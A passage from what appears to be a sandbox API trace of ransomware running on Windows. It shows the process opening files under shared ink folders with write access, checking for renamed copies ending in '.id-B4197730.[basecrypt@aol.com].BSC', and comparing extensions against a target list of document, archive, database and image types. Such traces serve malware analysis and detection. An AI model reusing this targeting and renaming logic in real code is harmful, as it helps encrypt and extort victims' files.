out: lpFileSize=0x367ff14*=1853) returned 1 [0111.606] CloseHandle (hObject=0x2f4) returned 1 [0111.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0111.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.607] lstrlenW (lpString=".doc") returned 4 [0111.607] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.607] lstrlenW (lpString=".docx") returned 5 [0111.607] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.607] lstrlenW (lpString=".pdf") returned 4 [0111.607] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.607] lstrlenW (lpString=".xls") returned 4 [0111.607] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.607] lstrlenW (lpString=".xlsx") returned 5 [0111.607] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.607] lstrlenW (lpString=".ppt") returned 4 [0111.607] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.607] lstrlenW (lpString=".zip") returned 4 [0111.607] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.607] lstrlenW (lpString=".rar") returned 4 [0111.608] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.608] lstrlenW (lpString=".bz2") returned 4 [0111.608] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.608] lstrlenW (lpString=".7z") returned 3 [0111.608] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.608] lstrlenW (lpString=".dbf") returned 4 [0111.608] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.608] lstrlenW (lpString=".1cd") returned 4 [0111.608] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.608] lstrlenW (lpString=".jpg") returned 4 [0111.608] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.608] lstrlenW (lpString=".doc") returned 4 [0111.608] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.608] lstrlenW (lpString=".docx") returned 5 [0111.608] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.608] lstrlenW (lpString=".pdf") returned 4 [0111.608] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.608] lstrlenW (lpString=".xls") returned 4 [0111.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.609] lstrlenW (lpString=".xlsx") returned 5 [0111.609] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.609] lstrlenW (lpString=".ppt") returned 4 [0111.609] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.609] lstrlenW (lpString=".zip") returned 4 [0111.609] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.609] lstrlenW (lpString=".rar") returned 4 [0111.609] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.609] lstrlenW (lpString=".bz2") returned 4 [0111.609] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.609] lstrlenW (lpString=".7z") returned 3 [0111.609] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.609] lstrlenW (lpString=".dbf") returned 4 [0111.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.609] lstrlenW (lpString=".1cd") returned 4 [0111.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0111.609] lstrlenW (lpString=".jpg") returned 4 [0111.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.610] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.610] lstrlenW (lpString="oskpredbase.xml") returned 15 [0111.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.610] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=924) returned 1 [0111.610] CloseHandle (hObject=0x2f4) returned 1 [0111.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0111.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.611] lstrlenW (lpString=".doc") returned 4 [0111.611] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.611] lstrlenW (lpString=".docx") returned 5 [0111.611] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.611] lstrlenW (lpString=".pdf") returned 4 [0111.611] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.611] lstrlenW (lpString=".xls") returned 4 [0111.611] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.611] lstrlenW (lpString=".xlsx") returned 5 [0111.611] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.611] lstrlenW (lpString=".ppt") returned 4 [0111.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.611] lstrlenW (lpString=".zip") returned 4 [0111.612] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.612] lstrlenW (lpString=".rar") returned 4 [0111.612] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.612] lstrlenW (lpString=".bz2") returned 4 [0111.612] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.612] lstrlenW (lpString=".7z") returned 3 [0111.612] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.612] lstrlenW (lpString=".dbf") returned 4 [0111.612] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.612] lstrlenW (lpString=".1cd") returned 4 [0111.612] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.612] lstrlenW (lpString=".jpg") returned 4 [0111.612] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.613] lstrlenW (lpString=".doc") returned 4 [0111.613] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.613] lstrlenW (lpString=".docx") returned 5 [0111.613] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0111.613] lstrlenW (lpString=".pdf") returned 4 [0111.613] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.613] lstrlenW (lpString=".xls") returned 4 [0111.613] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.613] lstrlenW (lpString=".xlsx") returned 5 [0111.613] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0111.613] lstrlenW (lpString=".ppt") returned 4 [0111.613] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.613] lstrlenW (lpString=".zip") returned 4 [0111.613] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.614] lstrlenW (lpString=".rar") returned 4 [0111.614] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.614] lstrlenW (lpString=".bz2") returned 4 [0111.614] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.614] lstrlenW (lpString=".7z") returned 3 [0111.614] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.614] lstrlenW (lpString=".dbf") returned 4 [0111.614] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.614] lstrlenW (lpString=".1cd") returned 4 [0111.614] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0111.614] lstrlenW (lpString=".jpg") returned 4 [0111.614] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.615] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.615] lstrlenW (lpString="oskpred.xml") returned 11 [0111.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0111.621] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=215) returned 1 [0111.621] CloseHandle (hObject=0x2f4) returned 1 [0111.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0111.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0111.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.622] lstrlenW (lpString=".doc") returned 4 [0111.622] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.622] lstrlenW (lpString=".docx") returned 5 [0111.622] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0111.622] lstrlenW (lpString=".pdf") returned 4 [0111.622] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.622] lstrlenW (lpString=".xls") returned 4 [0111.622] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.622] lstrlenW (lpString=".xlsx") returned 5 [0111.622] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0111.622] lstrlenW (lpString=".ppt") returned 4 [0111.622] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.622] lstrlenW (lpString=".zip") returned 4 [0111.622] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.622] lstrlenW (lpString=".rar") returned 4 [0111.622] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.622] lstrlenW (lpString=".bz2") returned 4 [0111.622] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.623] lstrlenW (lpString=".7z") returned 3 [0111.623] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.623] lstrlenW (lpString=".dbf") returned 4 [0111.623] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.623] lstrlenW (lpString=".1cd") returned 4 [0111.623] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.623] lstrlenW (lpString=".jpg") returned 4 [0111.623] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.623] lstrlenW (lpString=".doc") returned 4 [0111.623] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.623] lstrlenW (lpString=".docx") returned 5 [0111.623] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0111.623] lstrlenW (lpString=".pdf") returned 4 [0111.623] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.623] lstrlenW (lpString=".xls") returned 4 [0111.623] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.623] lstrlenW (lpString=".xlsx") returned 5 [0111.623] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0111.623] lstrlenW (lpString=".ppt") returned 4 [0111.623] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.624] lstrlenW (lpString=".zip") returned 4 [0111.624] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.624] lstrlenW (lpString=".rar") returned 4 [0111.624] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.624] lstrlenW (lpString=".bz2") returned 4 [0111.624] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.624] lstrlenW (lpString=".7z") returned 3 [0111.624] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.624] lstrlenW (lpString=".dbf") returned 4 [0111.624] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.624] lstrlenW (lpString=".1cd") returned 4 [0111.624] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0111.624] lstrlenW (lpString=".jpg") returned 4 [0111.624] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.624] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0111.624] lstrlenW (lpString="symbols.xml") returned 11 [0111.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0117.249] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=591) returned 1 [0117.249] CloseHandle (hObject=0x310) returned 1 [0117.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0117.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0117.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.250] lstrlenW (lpString=".doc") returned 4 [0117.250] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.250] lstrlenW (lpString=".docx") returned 5 [0117.250] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0117.250] lstrlenW (lpString=".pdf") returned 4 [0117.250] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.250] lstrlenW (lpString=".xls") returned 4 [0117.250] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.250] lstrlenW (lpString=".xlsx") returned 5 [0117.250] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0117.250] lstrlenW (lpString=".ppt") returned 4 [0117.250] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.250] lstrlenW (lpString=".zip") returned 4 [0117.250] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.250] lstrlenW (lpString=".rar") returned 4 [0117.250] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.250] lstrlenW (lpString=".bz2") returned 4 [0117.250] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.250] lstrlenW (lpString=".7z") returned 3 [0117.250] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.250] lstrlenW (lpString=".dbf") returned 4 [0117.250] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.250] lstrlenW (lpString=".1cd") returned 4 [0117.250] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.250] lstrlenW (lpString=".jpg") returned 4 [0117.251] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.251] lstrlenW (lpString=".doc") returned 4 [0117.251] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString=".docx") returned 5 [0117.251] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0117.251] lstrlenW (lpString=".pdf") returned 4 [0117.251] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString=".xls") returned 4 [0117.251] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString=".xlsx") returned 5 [0117.251] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0117.251] lstrlenW (lpString=".ppt") returned 4 [0117.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.251] lstrlenW (lpString=".zip") returned 4 [0117.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.251] lstrlenW (lpString=".rar") returned 4 [0117.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString=".bz2") returned 4 [0117.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString=".7z") returned 3 [0117.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0117.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.251] lstrlenW (lpString=".dbf") returned 4 [0117.251] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.251] lstrlenW (lpString=".1cd") returned 4 [0117.251] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0117.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 76 [0117.251] lstrlenW (lpString=".jpg") returned 4 [0117.251] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0117.252] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0117.252] lstrlenW (lpString="ipsnld.xml") returned 10 [0117.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0117.252] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=2626) returned 1 [0117.252] CloseHandle (hObject=0x310) returned 1 [0117.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0117.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0117.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0117.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.253] lstrlenW (lpString=".doc") returned 4 [0117.253] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0117.253] lstrlenW (lpString=".docx") returned 5 [0117.253] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0117.253] lstrlenW (lpString=".pdf") returned 4 [0117.253] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0117.253] lstrlenW (lpString=".xls") returned 4 [0117.253] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0117.253] lstrlenW (lpString=".xlsx") returned 5 [0117.253] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0117.253] lstrlenW (lpString=".ppt") returned 4 [0117.253] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0117.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsnld.xml") returned 61 [0117.253] lstrlenW (lpString=".zip") returned 4 [0117.253] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0117.253] lstrlenW (lpString=".rar") returned 4 [0117.253] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0117.253] lstrlenW 